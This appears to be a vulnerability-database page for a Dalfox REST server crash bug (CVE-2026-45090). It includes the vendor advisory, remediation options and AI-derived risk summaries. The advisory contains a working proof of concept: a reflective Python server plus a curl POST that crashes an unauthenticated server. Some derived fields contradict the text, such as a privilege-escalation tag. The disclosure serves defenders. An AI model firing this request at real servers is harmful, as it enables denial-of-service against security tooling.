Skip to main content

Dalfox EUVDEUVD-2026-32613

| CVE-2026-45090 HIGH
Race Condition (CWE-362)
2026-05-12 https://github.com/hahwul/dalfox GHSA-2g4x-fq3j-cgq4
7.5
CVSS 3.1 · Vendor: https://github.com/hahwul/dalfox
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify Dalfox REST server on network
  2. Delivery
    Send crafted POST to /scan with data field and controlled reflective target URL
  3. Exploit
    Trigger second-stage parameter analysis with closed channel
  4. Execution
    processParams writes to closed results channel
  5. Impact
    Go runtime panic terminates process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V15 - Secure Coding and Architecture Concurrency control, locking
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Remote unauthenticated exploitation against default Dalfox REST server configurations when two specific conditions are met: (1) the server is running in REST mode (dalfox server --type rest) without the --api-key flag, which is the documented default deployment, and (2) the attacker can supply both the data field (any non-empty POST-body parameter string, e.g. q=test) in the /scan request JSON and a target URL that reflects at least one parameter. The second condition is trivially satisfied by the attacker hosting their own reflective HTTP endpoint. No special dalfox feature flags, non-default configurations, or admin privileges are required. The vulnerability does NOT activate in CLI mode (dalfox url/file/pipe commands) - only server mode with REST API enabled. User interaction is not required (UI:N). Attack complexity is low (AC:L) because the attacker controls all prerequisites. Exploitation is NOT limited by network segmentation if the server binds to 0.0.0.0 (default) and is reachable from the attacker's network. The scope is unchanged (S:U) - the panic terminates only the dalfox process itself, not other system services.

Impact

Real-world risk is HIGH despite the availability-only impact, due to the combination of remote network vector (AV:N), zero authentication (PR:N/default --api-key is empty string), low attack complexity (AC:L/attacker controls both trigger conditions), and complete process termination (A:H). An attacker needs only network access to port 6664 and the ability to stand up a reflective HTTP endpoint (which they control) to force a panic. CVSS 7.5 aligns with the actual exploitability: a single unauthenticated POST to /scan with data field populated and a controlled target URL crashes the server immediately, halting all in-flight scans. The attack is repeatable, enabling sustained denial-of-service loops under auto-restart configurations (systemd, Docker --restart=always). EPSS score and KEV status not provided in input data; no public exploit code confirmed at time of analysis. SSVC framework assessment: exploitation status is publicly documented (GitHub advisory with full PoC) but not confirmed actively exploited; technical impact is total service unavailability; automatable is YES (single HTTP request, no user interaction). Priority is elevated by the default-insecure posture (no API key out-of-box) and the criticality of availability in security tooling deployments. Defenders should prioritize this for any internet-facing or shared-network dalfox server instances. Patch adoption appears straightforward (v2.13.0 release confirms fix), lowering residual risk post-remediation.

Exploit ScenarioDerived

Attacker identifies a Dalfox REST server on the internet (Shodan search for port 6664 or documentation references). They stand up a simple reflective HTTP server on a VPS that echoes any query parameter q in the response body. The attacker crafts a POST request to http://target:6664/scan with JSON body containing url pointing to their reflective server, data field set to q=test to populate the second-stage parameter queue, and mining-dict set to true to load hundreds of parameter names from the GF-XSS wordlist. No X-API-KEY header is required due to default configuration. When Dalfox processes the second-stage workers and any parameter is reflected by the attacker's controlled endpoint, processParams sends to the closed results channel, triggering an immediate panic. The dalfox server process exits with goroutine panic message, terminating all concurrent scans. Under Docker --restart=always, the attacker repeats the request every few seconds to create a persistent crash loop. If a PoC is publicly available (as indicated by the GitHub advisory containing full exploit steps), script kiddies can automate mass scanning and exploitation.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 12, 2026

Complete process crash in Dalfox REST server v2.12.0 and earlier allows remote unauthenticated attackers to terminate the entire scan engine via a single HTTP request. The flaw stems from a closed-channel write panic in pkg/scanning/parameterAnalysis.go where two sequential worker stages share a single results channel, causing a Go runtime panic when the second stage attempts to write to the already-closed channel. Default deployments run without authentication (no --api-key), making the vulnerability remotely exploitable. CVSS 7.5 (High). Patched in v2.13.0 per GitHub advisory GHSA-2g4x-fq3j-cgq4. No CISA KEV listing or public exploit code identified at time of analysis.

RemediationAI

Upgrade to Dalfox v2.13.0 or later, released on GitHub at https://github.com/hahwul/dalfox/releases/tag/v2.13.0. The fix is confirmed in PR #923 (harden REST/MCP scan options and second-stage param channel) per the release notes. For Go module installations, update the dependency to github.com/hahwul/dalfox/v2@v2.13.0 or above. Immediate compensating control for deployments that cannot patch: enforce API key authentication by launching with --api-key <strong-random-key> to block unauthenticated access to the /scan endpoint, eliminating the PR:N attack vector. Note this mitigation has operational overhead (key distribution, client configuration) and does not fix the underlying closed-channel panic. Network-level mitigations (IP allowlisting, internal-only binding with --host 127.0.0.1) reduce exposure but do not eliminate risk if internal attackers or pivoted access is a threat model concern. Deploying behind a reverse proxy with rate limiting (e.g., nginx limit_req) can slow repeated crash loops but will not prevent the initial crash. The primary fix (allocate a fresh results2 channel for the second stage) is architecturally clean and carries no side effects; upgrade is the recommended action. Verify the fix by testing the PoC scenario from the advisory against the patched version.

Affected VersionsENISA

dalfox < 2.13.0

Affected Packages

go github.com/hahwul/dalfox no fix
go github.com/hahwul/dalfox/v2 fix: 2.13.0
euvd dalfox fix: 2.13.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Dalfox is a Go-based parameter analysis and XSS detection tool that can run as a REST API server (default port 6664). The vulnerability resides in the two-stage concurrent processing architecture within ParameterAnalysis() which handles URL parameters (first stage) and POST-body parameters (second stage). Both stages share a buffered channel (results chan model.ParamResult) for worker-to-consumer communication. Go channel semantics require that all writes complete before close() is called; sending to a closed channel triggers a runtime panic. The bug manifests because the first stage correctly closes results after wgg.Wait() (line 438), but the second stage is then spawned with the same closed channel reference. When processParams() on line 299 executes results <- paramResult for any reflected parameter in the second stage, the Go runtime raises 'panic: send on closed channel', which terminates the entire process unless caught by recover(). This is a CWE-362 race condition on resource lifecycle, compounded by CWE-404 improper shutdown ordering. The vulnerability is distinct from PR #917's data race and nil pointer fixes on paramResult.Chars and resp.Header.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/hahwul/dalfox) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
SUSE HIGH

Primary rating from Vendor (https://github.com/hahwul/dalfox).

CVSS VectorVendor: https://github.com/hahwul/dalfox

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Summary

ParameterAnalysis in pkg/scanning/parameterAnalysis.go runs two sequential worker stages that both write to the same results channel. The channel is correctly closed after the first stage completes (close(results) at line 438), but the second stage - which processes POST-body parameters (dp) - is then launched with the same already-closed channel as its output. When a scanned parameter is reflected, processParams executes results <- paramResult on the closed channel, triggering a Go runtime panic that crashes the entire dalfox process. In server mode, the crash is remotely triggerable by any unauthenticated caller who can reach the REST API, because the default configuration has no API key and the second stage activates whenever options.Data != "" (i.e., the attacker supplies the data field) and the target reflects at least one parameter.

Severity

High (CVSS 3.1: 7.5)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack Vector: Network - server binds to 0.0.0.0:6664 by default; reachable by any network peer.
  • Attack Complexity: Low - the attacker controls both trigger conditions: the data field that populates the second stage's work queue, and the target URL they point at a reflective server they control.
  • Privileges Required: None - --api-key defaults to "", so no auth middleware is registered.
  • User Interaction: None.
  • Scope: Unchanged - a goroutine panic without a recover terminates the entire Go process; the impact stays within the dalfox process authority.
  • Confidentiality Impact: None.
  • Integrity Impact: None.
  • Availability Impact: High - the entire dalfox server process crashes, requiring manual restart. A single well-timed request is sufficient.

Note on PR #917: Commit 8a424d1 (fix: resolve data race and nil pointer panic in processParams) fixed two concurrent-safety bugs in processParams - a data race on paramResult.Chars and a nil pointer dereference on resp.Header. It did not fix the closed-channel panic reported here, which is a structural ordering bug in ParameterAnalysis itself, not inside processParams.

Affected Component

  • pkg/scanning/parameterAnalysis.go - ParameterAnalysis() (lines 436-448): results channel closed at line 438, then passed to second-stage processParams workers at line 445
  • pkg/scanning/parameterAnalysis.go - processParams() (line 299): results <- paramResult panics when results is closed

CWE

  • CWE-362: Concurrent Execution Using Shared Resource with Improper Synchronization ('Race Condition') - channel lifecycle ordering error
  • CWE-404: Improper Resource Shutdown or Release

Description

Two-Stage Channel Lifecycle Ordering Error

ParameterAnalysis allocates a single results channel shared by both worker stages:

go
// pkg/scanning/parameterAnalysis.go:397-408
paramsQue := make(chan string, concurrency)
results := make(chan model.ParamResult, concurrency)   // ← single channel for both stages

go func() {
    for result := range results {   // consumer exits when results is closed
        mutex.Lock()
        params[result.Name] = result
        mutex.Unlock()
    }
}()

First stage (URL parameters in p):

go
// lines 410-437
for i := 0; i < concurrency; i++ {
    wgg.Add(1)
    go func() {
        processParams(target, paramsQue, results, options, rl, miningCheckerLine, pLog)
        wgg.Done()
    }()
}
// ... feed paramsQue ...
close(paramsQue)
wgg.Wait()
close(results)   // ← line 438: results is now closed; consumer goroutine exits

Second stage (POST-body parameters in dp):

go
// lines 440-448
var wggg sync.WaitGroup
paramsDataQue := make(chan string, concurrency)
for j := 0; j < concurrency; j++ {
    wggg.Add(1)
    go func() {
        processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)
        //                                   ^^^^^^^ - same closed channel
        wggg.Done()
    }()
}

When a second-stage worker finds a reflected parameter, processParams sends to the closed channel:

go
// pkg/scanning/parameterAnalysis.go:299
results <- paramResult   // panic: send on closed channel

A Go runtime panic in a goroutine without a recover terminates the entire program. In server mode, this kills the dalfox API server process.

Trigger Conditions Are Both Attacker-Controlled

Condition 1 - dp is non-empty: dp (the POST-body parameter map) is populated in addParamsFromWordlist → setP whenever options.Data != "":

go
// parameterAnalysis.go:41-45
if options.Data != "" {
    if dp.Get(name) == "" {
        dp.Set(name, "")
    }
}

The attacker sets "data": "q=test" in the JSON body, which propagates through Initialize (lib/func.go:106). With "mining-dict": true, the entire GF-XSS wordlist (hundreds of parameters) flows into dp, ensuring the second stage has ample work.

Condition 2 - a parameter is reflected: processParams sends to results only when vrs (verified reflection) is true (line 252 → line 299). The attacker controls the target URL - they point it at a server they operate that reflects any query parameter, guaranteeing vrs = true on the first matching entry from the wordlist.

PR #917 Fixed Different Bugs

Commit 8a424d1 addressed:

  1. Data race: concurrent append(paramResult.Chars, char) with no mutex → added charsMu sync.Mutex
  2. Nil pointer: resp.Header accessed when resp == nil → added && resp != nil guard

Neither change touches the channel lifecycle in ParameterAnalysis. The closed-channel panic is independent and remains unpatched.

Proof of Concept

bash
# Step 1 - Attacker-controlled reflective server
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
class H(BaseHTTPRequestHandler):
    def _h(self):
        qs = parse_qs(urlparse(self.path).query)
        n = int(self.headers.get('Content-Length', '0'))
        body = self.rfile.read(n).decode() if n else ''
        bq = parse_qs(body)
        v = qs.get('q', [''])[0] or bq.get('q', [''])[0]
        out = f'<html><body>{v}</body></html>'.encode()
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.send_header('Content-Length', str(len(out)))
        self.end_headers()
        self.wfile.write(out)
    def do_GET(self): self._h()
    def do_POST(self): self._h()
    def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 18083), H).serve_forever()
PY
# Step 2 - Start dalfox REST server (default: no API key)
go run . server --host 127.0.0.1 --port 16664 --type rest
# Step 3 - Single unauthenticated request terminates the server process
curl -s -X POST http://127.0.0.1:16664/scan \
  -H 'Content-Type: application/json' \
  --data '{
    "url": "http://127.0.0.1:18083/?q=test",
    "options": {
      "data": "q=test",
      "mining-dict": true,
      "use-headless": false,
      "worker": 1
    }
  }'
# Expected: dalfox process exits immediately with:
# goroutine N [running]:
# panic: send on closed channel
#   pkg/scanning/parameterAnalysis.go:299 +0x...
# Step 4 - Verify server is down
curl -s http://127.0.0.1:16664/health
# Expected: connection refused

No X-API-KEY header is required. The reflective server is attacker-controlled and guarantees the vrs = true condition that triggers the channel write.

Impact

  • Complete server process crash on a single unauthenticated POST request - no login, no API key, no special permissions required.
  • All in-flight scans are lost without results.
  • The server requires a manual restart; under automated process managers (systemd, Docker --restart=always) repeated triggering can create a denial-of-service loop.
  • The attack requires only network access to port 6664 and a reflective HTTP server reachable by the dalfox instance - both attacker-controlled conditions.

Recommended Remediation

Option 1: Allocate a fresh results channel for the second stage (preferred)

The simplest and most direct fix: give each stage its own channel and consumer. The second stage should not reuse a channel that was created and closed for the first stage.

go
// pkg/scanning/parameterAnalysis.go - replace the second stage block:

var wggg sync.WaitGroup
paramsDataQue := make(chan string, concurrency)
results2 := make(chan model.ParamResult, concurrency)   // fresh channel

go func() {
    for result := range results2 {
        mutex.Lock()
        params[result.Name] = result
        mutex.Unlock()
    }
}()

for j := 0; j < concurrency; j++ {
    wggg.Add(1)
    go func() {
        processParams(target, paramsDataQue, results2, options, rl, miningCheckerLine, pLog)
        wggg.Done()
    }()
}

// ... feed paramsDataQue ...
close(paramsDataQue)
wggg.Wait()
close(results2)   // close after all writers are done

Option 2: Merge both parameter maps before the single worker stage

Process p and dp entries through a single shared paramsQue and results, eliminating the two-stage design:

go
// Before the worker loop, merge dp into p (or into a unified queue):
for k := range dp {
    // feed to the same paramsQue along with p entries
}
// Then run a single close(paramsQue) → wgg.Wait() → close(results)

This is a more invasive refactor but removes the structural root cause. The current two-stage design is the fundamental source of the ordering bug.

Option 3: Add a recover in processParams goroutines (stopgap only)

Catching the panic prevents the process from crashing but does not fix the lost results or the channel invariant violation. Recommended only as a temporary defensive measure while the channel lifecycle is corrected:

go
go func() {
    defer func() {
        if r := recover(); r != nil {
            printing.DalLog("ERROR", fmt.Sprintf("processParams panic recovered: %v", r), options)
        }
        wggg.Done()
    }()
    processParams(target, paramsDataQue, results, options, rl, miningCheckerLine, pLog)
}()

Option 1 is the recommended primary fix. Option 3 should be combined with Option 1, not used as a substitute.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Executive ViewAI

Why It Matters

Dalfox REST server versions 2.12.0 and earlier contain a critical vulnerability allowing unauthenticated remote attackers to crash the entire scan engine with a single HTTP request, disrupting security assessment operations and potential dependent workflows. Organizations using Dalfox for vulnerability scanning face immediate availability risk, particularly in default deployments without API authentication enabled.

Business Impact: High
Compensating Controls

If upgrade to v2.13.0 cannot be completed within 7 days: (1) Restrict network access to Dalfox REST API to trusted internal subnets only via firewall/WAF; (2) Enable and enforce --api-key authentication on all Dalfox instances immediately; (3) Implement request rate limiting and HTTP request filtering to block malformed payloads targeting parameterAnalysis endpoints; (4) Monitor Dalfox process uptime and restart failures as an interim detection control.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Race conditions occur when multiple concurrent requests exploit the brief time gap between checking a condition and acting upon it (TOCTOU - Time of Check, Time of Use).

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy